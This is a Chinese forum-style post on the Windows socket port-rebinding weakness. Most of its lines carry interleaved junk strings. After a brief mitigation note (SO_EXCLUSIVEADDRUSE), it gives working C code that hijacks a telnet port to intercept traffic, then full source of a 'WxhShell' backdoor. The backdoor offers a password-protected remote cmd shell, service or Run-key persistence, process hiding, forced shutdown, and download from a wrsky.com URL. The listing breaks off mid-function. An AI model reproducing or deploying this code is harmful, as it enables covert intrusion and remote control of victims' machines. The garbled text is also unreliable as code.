在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
OnWx#84 s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
7G)H.L)$m" sZLT<6_B saddr.sin_family = AF_INET;
.Udj@{ sm$(Y.N saddr.sin_addr.s_addr = htonl(INADDR_ANY);
$fgf
Y8 #);[mW{F bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
WYc7aciJ d`1I".y 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
=LTmr1? A0%}v* 这意味着什么?意味着可以进行如下的攻击:
+,2Jzl'- p^iRPI 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
RQFI'@Ks +<prgP`v 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
>s` J5I! eX_D/25 $ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
jV8q)=}*) s#uJ
;G 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
"l >Igm ujJI
1I 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
`
}3qhar "YB**Y 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
?3O9eZY@ C4}*)a 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
YSaJeU>@ (|d34DOJ #include
{vo +gRYYv #include
U?!>Nd #include
O 1oxZj
< #include
V#jWege DWORD WINAPI ClientThread(LPVOID lpParam);
F_bF int main()
apk4j\i?5 {
H}LS??P WORD wVersionRequested;
\a+(=s(; DWORD ret;
+D1 d=4 WSADATA wsaData;
7n90f2"m BOOL val;
fo4.JyBk SOCKADDR_IN saddr;
XO <y+ SOCKADDR_IN scaddr;
7u[j/l, int err;
5Q=P4w!' SOCKET s;
:{q"G# SOCKET sc;
,TRTRb; int caddsize;
\u&_sBLKV HANDLE mt;
.%zy`n DWORD tid;
ejA%%5q wVersionRequested = MAKEWORD( 2, 2 );
Erk?}E err = WSAStartup( wVersionRequested, &wsaData );
Ys!>+nL| if ( err != 0 ) {
vS;1/->WD printf("error!WSAStartup failed!\n");
F:#J:x' return -1;
oDcKtB+2 }
L}m8AAkP[ saddr.sin_family = AF_INET;
pZyQY+O >{ me //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
+
S4fGT X{kpSA~ saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
KFZm`,+69 saddr.sin_port = htons(23);
6{qIU}! if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
+-B^Z On {
6:%
L![FX printf("error!socket failed!\n");
JH7Ad (: return -1;
2Dd|~{% }
<[GYLN[0Q val = TRUE;
L>Mpi$L //SO_REUSEADDR选项就是可以实现端口重绑定的
MZ+e}|!4, if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
N0>0z]4;q {
[Ei1~n)o printf("error!setsockopt failed!\n");
$F.kK%-* return -1;
GTv#nnC }
L^^4=ao0 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
Kq.:G% //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
-VZRujl //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
[j4v]PE tDDy]==E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
G4
G5PXi {
U=8@@yE ret=GetLastError();
i*eAdIi printf("error!bind failed!\n");
4'p=p#o return -1;
)fdE6 }
*;|`E( listen(s,2);
0hZ1rqq8C while(1)
g=T/_ {
_73h<|0 caddsize = sizeof(scaddr);
`c+/q2M //接受连接请求
{ BEo & sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
iBudmT8 if(sc!=INVALID_SOCKET)
gN {'UDg {
Yav2q3 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
dO7;}>F$n if(mt==NULL)
)~jqW=d
2 {
K)Zlc0e printf("Thread Creat Failed!\n");
6bBdIqGb} break;
hO[3 Z^X }
US{3pkr;I] }
dd|W@Xp - CloseHandle(mt);
Iak0 [6Ey }
x7T+> closesocket(s);
8e0."o.6 WSACleanup();
s/Xb^XjS1 return 0;
[Vdz^_@Y }
1nPZ<^A&@ DWORD WINAPI ClientThread(LPVOID lpParam)
w{ `|N$ {
#0;HOeIiH SOCKET ss = (SOCKET)lpParam;
_GqS&JHSf SOCKET sc;
Q)af|GW$ unsigned char buf[4096];
{0!#>["< SOCKADDR_IN saddr;
OlD`uA long num;
s=Q(C[%I DWORD val;
U/;]zdP.K DWORD ret;
m=qOg>k //如果是隐藏端口应用的话,可以在此处加一些判断
A"Q@W<. //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
*^ \FIUd saddr.sin_family = AF_INET;
2i|B=D( saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
2q}.. saddr.sin_port = htons(23);
=8=!Yc(> if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
>5T_g2pkv {
9j*0D(" printf("error!socket failed!\n");
N~ANjn/wL return -1;
kcB+ _ }
&@ 3m-Z val = 100;
~YCuO0t if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
>6Lm9&} {
Fl>]&x*~ ret = GetLastError();
6aOp[-Le return -1;
z1,tJH0 }
1px\K8 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
nws"RcP+Z {
bXM/2Z?6 ret = GetLastError();
A<YsfDa_d return -1;
4 c'4*`I }
(P6vOo if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
VSOz.g> {
vuz4qCQ printf("error!socket connect failed!\n");
1@XgTL4 closesocket(sc);
5+X_4lEJK( closesocket(ss);
c#xP91.m return -1;
`"k9wC1 }
6@4n'w{" while(1)
K
X]oE+: {
i[semo\E //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
/-0'
Qa+* //如果是嗅探内容的话,可以再此处进行内容分析和记录
cy~oPj]j //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
j?n+>/sG, num = recv(ss,buf,4096,0);
P"7ow- if(num>0)
y,+[$u7h send(sc,buf,num,0);
@LLTB(@wR else if(num==0)
e<gx~N9l' break;
U=Bn>F}y\ num = recv(sc,buf,4096,0);
>qT 'z$ if(num>0)
IPA*-I57 send(ss,buf,num,0);
k5+]SG`]] else if(num==0)
?)3jqQ. break;
"r.2]R3 }
o4=Yu7L closesocket(ss);
+C7T]&5s closesocket(sc);
cQpnEO&SL return 0 ;
MmU%%2QG }
Uedvc5><t <8(?7QI (&&87( ==========================================================
: cp w\|Ei( 下边附上一个代码,,WXhSHELL
i~qfGl p6) p*;Qz ==========================================================
"EftN5?/ :h";c" #include "stdafx.h"
<R1X\s. m$y]Lf #include <stdio.h>
p {%t q$}. #include <string.h>
F'J [y"~_ #include <windows.h>
n+2J Dq|?p #include <winsock2.h>
't>r
sp+# #include <winsvc.h>
K}I0o!(# #include <urlmon.h>
]T{E
(9 ]" x\=A #pragma comment (lib, "Ws2_32.lib")
9]_GNk-D #pragma comment (lib, "urlmon.lib")
!}&"W,,0 :7;[`bm(G #define MAX_USER 100 // 最大客户端连接数
c8'Cq7 #define BUF_SOCK 200 // sock buffer
2DMrMmLI #define KEY_BUFF 255 // 输入 buffer
dU;upS_- -4L!k'uR #define REBOOT 0 // 重启
RSWcaATZN #define SHUTDOWN 1 // 关机
w;`m- 9<Y Ex($ #define DEF_PORT 5000 // 监听端口
vrrt @y @Y'I,e #define REG_LEN 16 // 注册表键长度
[wcA.g* F #define SVC_LEN 80 // NT服务名长度
Di??Q_$ak f?0s &Xo // 从dll定义API
~mILA->F typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
_C+DB A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
`B#Z;R typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
aMCO"66b typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
j|'R$| T+TF-] J // wxhshell配置信息
<]#o*_aFP struct WSCFG {
#w~0uCzQ@ int ws_port; // 监听端口
B7"Fp char ws_passstr[REG_LEN]; // 口令
,8SWe int ws_autoins; // 安装标记, 1=yes 0=no
lpEDPvD_Vm char ws_regname[REG_LEN]; // 注册表键名
kHU"AD}. char ws_svcname[REG_LEN]; // 服务名
8&a_A:h char ws_svcdisp[SVC_LEN]; // 服务显示名
,hE/II`-d' char ws_svcdesc[SVC_LEN]; // 服务描述信息
*)PG-$6X& char ws_passmsg[SVC_LEN]; // 密码输入提示信息
~'BUrX\ int ws_downexe; // 下载执行标记, 1=yes 0=no
F2oJ]th.3 char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
<%,'$^'DS char ws_filenam[SVC_LEN]; // 下载后保存的文件名
X!0kK8v VJ1*|r, };
/e 5\ 9 anx&Xj|=.F // default Wxhshell configuration
Q#rt<S1zW struct WSCFG wscfg={DEF_PORT,
ic~Z_?p "xuhuanlingzhe",
k46gY7y,9 1,
@P70W<< "Wxhshell",
OJ[rj`wrW^ "Wxhshell",
A
+!sD5d "WxhShell Service",
Gc5VQ^] "Wrsky Windows CmdShell Service",
<:cpz* G4 "Please Input Your Password: ",
6D*chvNA; 1,
jyjQzt
>\ "
http://www.wrsky.com/wxhshell.exe",
^('cbl "Wxhshell.exe"
?Leyz };
?Y!U*& 7 U?6yke // 消息定义模块
^uBwj}6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(n=Aa; char *msg_ws_prompt="\n\r? for help\n\r#>";
V
[4n'LcE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
FU]4oKx char *msg_ws_ext="\n\rExit.";
IgA.%}II} char *msg_ws_end="\n\rQuit.";
}vsO^4Sjc char *msg_ws_boot="\n\rReboot...";
/W9
&Ke char *msg_ws_poff="\n\rShutdown...";
4I.1D2 1jA char *msg_ws_down="\n\rSave to ";
6~:+:; Y2vj}9jK char *msg_ws_err="\n\rErr!";
\L#QR char *msg_ws_ok="\n\rOK!";
}*-u$=2 5vGioO char ExeFile[MAX_PATH];
j1F w
U int nUser = 0;
]|BojSL_ HANDLE handles[MAX_USER];
E(/ sXji! int OsIsNt;
A5+5J_)* T/7vM 6u SERVICE_STATUS serviceStatus;
!c_u-&b) SERVICE_STATUS_HANDLE hServiceStatusHandle;
HwW6tQ U 1F-~{r // 函数声明
7%op zdS# int Install(void);
z"av|(?d int Uninstall(void);
d
qpgf@ int DownloadFile(char *sURL, SOCKET wsh);
=jG?v'X int Boot(int flag);
w7ZG oh( void HideProc(void);
r:#Q9EA int GetOsVer(void);
;r@!a!NLB int Wxhshell(SOCKET wsl);
=WjJN Q void TalkWithClient(void *cs);
7AeP Gr int CmdShell(SOCKET sock);
4[_L=zD int StartFromService(void);
cI3KB-lM# int StartWxhshell(LPSTR lpCmdLine);
GMTor AI R{s7N VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
]F_r6 *< VOID WINAPI NTServiceHandler( DWORD fdwControl );
:Fo4O'UC Uir*%*4: // 数据结构和表定义
0k.v0a7% SERVICE_TABLE_ENTRY DispatchTable[] =
aYBTrOd z {
\L
%q[ {wscfg.ws_svcname, NTServiceMain},
Rd vn)K {NULL, NULL}
Y'&8L'2Z[ };
rkq)&l=ny ,$PFI(Whk // 自我安装
$Br>KJ%'g int Install(void)
@jKDj]\ {
A8mlw#`E8b char svExeFile[MAX_PATH];
p}f-c HKEY key;
z[Z2H5[ strcpy(svExeFile,ExeFile);
hafECs tU(y~)] // 如果是win9x系统,修改注册表设为自启动
Y@ObwKcG if(!OsIsNt) {
Kc-4W6?$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
v#Sj|47 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
n/?eZx1 RegCloseKey(key);
/bi6>GaC:E if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
To">DOt RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
P!9;} & RegCloseKey(key);
$59nu7yr return 0;
a0{[P$$ }
v*vn<nPAQ> }
psu OJ- }
d<_NB]V&F else {
s`r-v/3l S$\.4*_H\ // 如果是NT以上系统,安装为系统服务
;raz6DRO SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
NA=#>f+U% if (schSCManager!=0)
x!`b'U\ {
PE|PwqX SC_HANDLE schService = CreateService
zw,-.fmM# (
\a?K?v|8 schSCManager,
RP(a,D| wscfg.ws_svcname,
KS?mw`Nr wscfg.ws_svcdisp,
JxnuGkE0[# SERVICE_ALL_ACCESS,
l:q8Pg) SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
P3i^S_ SERVICE_AUTO_START,
"*+\KPCU SERVICE_ERROR_NORMAL,
8,_ -0_^$ svExeFile,
!5?
m NULL,
=MCNCV/< NULL,
T!1SMo^ NULL,
E*OG-r NULL,
XzW7eO,A NULL
YWSz84d );
=?HzNA$yh if (schService!=0)
,%[LwmET {
J"5jy$30'$ CloseServiceHandle(schService);
=w?M_[&K) CloseServiceHandle(schSCManager);
|>Z&S=\I) strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
xv^Sh}\} strcat(svExeFile,wscfg.ws_svcname);
W"dU1] if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
FOc|*>aKP RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
G
*ds4R?! RegCloseKey(key);
TNJ<!6 return 0;
:fRmUAK% }
Z^{+,$H@ }
Sf=F cb CloseServiceHandle(schSCManager);
O@nqHZ }
VccM=w%* }
6g}^Q?cpV# DCt\E/ return 1;
|xp$OL"a }
\Bt=bu>Z gxI&f // 自我卸载
]7v81G5E int Uninstall(void)
Wgav>7!9 {
^p$1D HKEY key;
L{Q4=p,A sTt9'P` if(!OsIsNt) {
Ze#Jhn@ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
``+c`F?5 RegDeleteValue(key,wscfg.ws_regname);
cES;bwQ RegCloseKey(key);
ud yAP> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
]{(l;k9=e RegDeleteValue(key,wscfg.ws_regname);
m dC`W&r RegCloseKey(key);
09G9nu ;&{ return 0;
XO 0>t{G }
z<n"{% }
V_Xy2<V }
oDz*~{BHg else {
o>0O@NE nrF%wH/5 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
T_uNF8Bh if (schSCManager!=0)
O;UiYrXU {
tp#Z@5= SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
(L`l+t1 if (schService!=0)
;0;3BH A {
f9vcf# 2 if(DeleteService(schService)!=0) {
~l(G6/R CloseServiceHandle(schService);
{EOn r1 CloseServiceHandle(schSCManager);
qo61O\qm return 0;
m~##q}LZ }
I0I_vu CloseServiceHandle(schService);
^OsA+Ea\ }
be&6kG CloseServiceHandle(schSCManager);
P)Z/JHB }
}PtI0mZ1 }
Jz=;mrW =*{K@p_ return 1;
B"7$!C o }
BHF{-z 2^cAK t6bC // 从指定url下载文件
W8Ke1(ws& int DownloadFile(char *sURL, SOCKET wsh)
^?E^']H)5u {
'&RZ3@}+ HRESULT hr;
B1x'5S;Bq char seps[]= "/";
d|>9rX+f char *token;
c zZrP" char *file;
I h5/=_n char myURL[MAX_PATH];
:|?~B%-p[ char myFILE[MAX_PATH];
5OPS&: ?+bTPl;%' strcpy(myURL,sURL);
Tf9&,!>V token=strtok(myURL,seps);
*d^9,GGn- while(token!=NULL)
WA<H {
mw:3q6 file=token;
)W[KD,0+j token=strtok(NULL,seps);
QV`X?m
}
OI'uH$y K{,
W_^ GetCurrentDirectory(MAX_PATH,myFILE);
^fA3<| strcat(myFILE, "\\");
JOA%Y;`<# strcat(myFILE, file);
:X3rd|;kc send(wsh,myFILE,strlen(myFILE),0);
\%w7D6dEZ send(wsh,"...",3,0);
+<'uw hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
NFdJb\ if(hr==S_OK)
&z ./4X return 0;
z2rQ$O-# else
"
7l jc return 1;
F?}m8ZRv j09mI$2y67 }
3{ .9O$ 6&g!ZE'G // 系统电源模块
38"8,k int Boot(int flag)
O{;M6U8C\ {
RA*_&Ll&!C HANDLE hToken;
M3hy5j(b TOKEN_PRIVILEGES tkp;
0|WOReskK 7yY1dR<Y if(OsIsNt) {
({*.!ty OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
vS~AxeW/7R LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
F7k4C2r tkp.PrivilegeCount = 1;
N%|^;4}k tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
fMWXo)rzj AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
(1j(*
?2 if(flag==REBOOT) {
@/_XS4 if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
hXV4$Dai return 0;
/V#MLPA }
5A0KV7N5 else {
nG&w0de<> if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
T+&x{+gZ return 0;
h1Ke$#$6 }
I T*fjUY& }
N&R
'$w else {
U92B+up- if(flag==REBOOT) {
f9h:"Dnzin if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
OlD7-c2L] return 0;
Ktg&G<%J0 }
1G e)p4 else {
sRkz
WMl if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
o'x_g^ Y return 0;
n r'YWW }
|YG)NO }
"wc`fg"3 [15hci+- return 1;
&* V0( }
Sa?~t3*H ~G|{qVO7A // win9x进程隐藏模块
>#${.+y void HideProc(void)
9*GL@_c {
sg! =Q+ c]cO[T_gGa HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
x9XGCr if ( hKernel != NULL )
uAPLT~ {
1A,4Aw< pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
hEdo,gF* ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
Ymrpf FreeLibrary(hKernel);
)_x8?:lv }
30gZ_8C>} C%x(`S^/ return;
a=}">=]7 }
^)eessZ N7j]yvE // 获取操作系统版本
FM@W>+ int GetOsVer(void)
;-<<1Jz/2 {
Sgjr4axu OSVERSIONINFO winfo;
iTKG,$G winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
?kT~)k GetVersionEx(&winfo);
IdQwLt if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
NO0[`jy( return 1;
ey9fbS ^I else
!0d9<SVC return 0;
he#Tr'j }
OTy4"% {
V=:O // 客户端句柄模块
2Wc;hJ.1 int Wxhshell(SOCKET wsl)
0X S' v,| {
z9uEOX&2\ SOCKET wsh;
Eo25ir% struct sockaddr_in client;
nvUkbmZG# DWORD myID;
e\|E; l -Z\UYt while(nUser<MAX_USER)
>.k@!* {
Qh1Kl_a?Lv int nSize=sizeof(client);
YA8yMh*4D? wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
V)@nRJ g if(wsh==INVALID_SOCKET) return 1;
Wb}0-U{S' A)s"h=R handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
*YEIG#` if(handles[nUser]==0)
%]P@G^Bv closesocket(wsh);
h} b^o* else
Jn^Wzn[q nUser++;
ND99g }
`6l24_eKf WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
^5zS2nm 'Rar>oU return 0;
H'0J1\ h }
(cqA^.Td RIVN>G[;L // 关闭 socket
e[py J. void CloseIt(SOCKET wsh)
5qODS_Eq {
n(F< closesocket(wsh);
|'l* $ nUser--;
*FG4!~<e ExitThread(0);
\-`oFe" }
!gA^$(=:" t g m{gR // 客户端请求句柄
Y9(i}uTi void TalkWithClient(void *cs)
0I AaPz/e {
(WU~e!} >f9]Nj SOCKET wsh=(SOCKET)cs;
C Ol%P char pwd[SVC_LEN];
wxr}*Z:ZMa char cmd[KEY_BUFF];
qLktMp_ char chr[1];
5xn0U5U int i,j;
zDQ\PZ~ b^=8%~?%4 while (nUser < MAX_USER) {
k Y |=a >5z`SZf if(wscfg.ws_passstr) {
HN&vk/[ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
X|QX1dl //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
Q*{ H] //ZeroMemory(pwd,KEY_BUFF);
TJGKQyG$L i=0;
tX2>a while(i<SVC_LEN) {
CB7R{~
$ ^
8Nr %NJ // 设置超时
k3htHCf*G$ fd_set FdRead;
zj$Z%|@$ struct timeval TimeOut;
a0v1LT6 FD_ZERO(&FdRead);
=<tJAoVV FD_SET(wsh,&FdRead);
I$P7%} TimeOut.tv_sec=8;
w]}cB+C+l# TimeOut.tv_usec=0;
JeSkNs|vB int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5;KT-(q~ if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
;lPhSkD MrygEC 5 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
p44uozbK pwd
=chr[0]; c=c.p
i"s
if(chr[0]==0xd || chr[0]==0xa) { OKNs (H
pwd=0; oz5lt4
break; !*QA;*e
} C&MqUj"]
i++; zYl+BM-j,6
} +Y%I0.?&5
^`C*";8Q
// 如果是非法用户,关闭 socket &wWGZ~T
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); {&AT}7
} xN~<<PIZ
b|pNc'u:Cn
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dIh(~KqB
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #JT%]!
UqQZ
A0e
while(1) { (h(ZL9!
q|Tk+JH{5
ZeroMemory(cmd,KEY_BUFF); %Zi,nHg8
|D_n4#X7u
// 自动支持客户端 telnet标准 OsuSx^}
j=0; WlJRKM2
while(j<KEY_BUFF) { <zWQ[^
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Bf}0'MK8zQ
cmd[j]=chr[0]; r-DD*'R
if(chr[0]==0xa || chr[0]==0xd) { 4xC6#:8
cmd[j]=0; !P3tTL!*L
break; kJ:5msKwC
} (TK
cSVR
j++; ^K@GK
}
R5YtCw]i=
Q0cf]
// 下载文件 ^|axt VhMO
if(strstr(cmd,"http://")) { X=RmCc$:
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 78}%{7YY
if(DownloadFile(cmd,wsh)) rEyMSLN
send(wsh,msg_ws_err,strlen(msg_ws_err),0); GTX&:5H\t
else (IWd?,H,n
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e@MCumc~+
} X!'Xx8
else { <L[)P{jn?p
$TUC?e9"h
switch(cmd[0]) { mi3q1npb7[
8XXTN@&,
// 帮助 iDe0 5f1R
case '?': { A}+r;Y8[h
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); O&1p2!Bk4
break; "e?#c<p7
} lIT2 AFX+
// 安装 f;I"tugO
case 'i': { _-nN(
${{
if(Install()) |6G5
?|
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _J#Hq 'K
else aQ3vG08L>
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iw6M3g#
break; G5@@m-
} J~ rC
// 卸载 W`rE\P
case 'r': { -CNv=vj 3
if(Uninstall()) S 2` ;7
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7
@Qlp$[F
else Nr7.BDA
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); l`G:@}P>G
break; -x5bdC(d
} ;:YjgZ:+Q]
// 显示 wxhshell 所在路径 T{kwy3
case 'p': {
B#lj8I^|
char svExeFile[MAX_PATH]; DD3yl\#,
strcpy(svExeFile,"\n\r"); Fgq*3t
strcat(svExeFile,ExeFile); $e,!fB;B
send(wsh,svExeFile,strlen(svExeFile),0); x=<>%m5R
break; sm <kb@g
} F}mwQ%M
// 重启 t$Ji{t-
case 'b': { biuo.OG]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); RB@gSHOc?
if(Boot(REBOOT)) @k;3$
send(wsh,msg_ws_err,strlen(msg_ws_err),0); DxG'/5jQ[
else { Y\F H4}\S
closesocket(wsh); ijSYQ
ExitThread(0); Vc<n6
} <GlV!y
break; H`..)zL|
} ,l"2MXD
// 关机 ~DS9{Y
case 'd': { P?-44m#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e=$xn3)McY
if(Boot(SHUTDOWN)) *)sz]g|d
send(wsh,msg_ws_err,strlen(msg_ws_err),0); eesLTyD2_
else { yr DYw T
closesocket(wsh); |W[rywxx
ExitThread(0); J@-9{<
} @Kb~!y@G
break; }tq9 /\
} +OP' /
// 获取shell 3hjwwLKG$
case 's': { _)\,6| #
CmdShell(wsh); gpl!Iz~5
closesocket(wsh); KPrxw }P
ExitThread(0); G-> @
break; $fG/gYvI\
} Y)5}bmL
// 退出 uvd>
case 'x': { (S{c*"}2
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W u{nC
CloseIt(wsh); \Fjq|3`<l
break; NV ~i4R*#
} Hc3/`.nt
// 离开 msJn;(Pn
case 'q': { |bUmkw
send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~|]\.^B
closesocket(wsh); %ua5T9H Z
WSACleanup(); $^GnY7$!>
exit(1); 8`<GplO
break; :RG6gvz
} p8bTR!rvz
} TR7TF]itb
} $l0w {m!P
EPfVS
// 提示信息 ZmF32Ir
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); J>|`
} ~0:c{v;4
} n\,W:G9AR7
X ^)5O>>|t
return; Ue%5
:Sdr
} ]>j_
Y,
-': tpJk
// shell模块句柄 QJ'C?hn
int CmdShell(SOCKET sock) YkbLf#2AE|
{ u{^Kyo#v
STARTUPINFO si; o^J&c_U\3'
ZeroMemory(&si,sizeof(si)); {%dQV#'c
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "=O)2}
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; R'U(]&e.j
PROCESS_INFORMATION ProcessInfo;
EwsJa3
`
char cmdline[]="cmd"; <ZEll[0L
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CdjGYS
return 0;
w?"l4.E%
} OW^7aw(N6
&-tf/qJ
// 自身启动模式 zc5_;!t
int StartFromService(void) 1Zzw|@#>o
{ UNHHzTsr?
typedef struct YTA&G
{ "Y6mM_flq
DWORD ExitStatus; p5ihuV,
DWORD PebBaseAddress; Qmn5-yiw1d
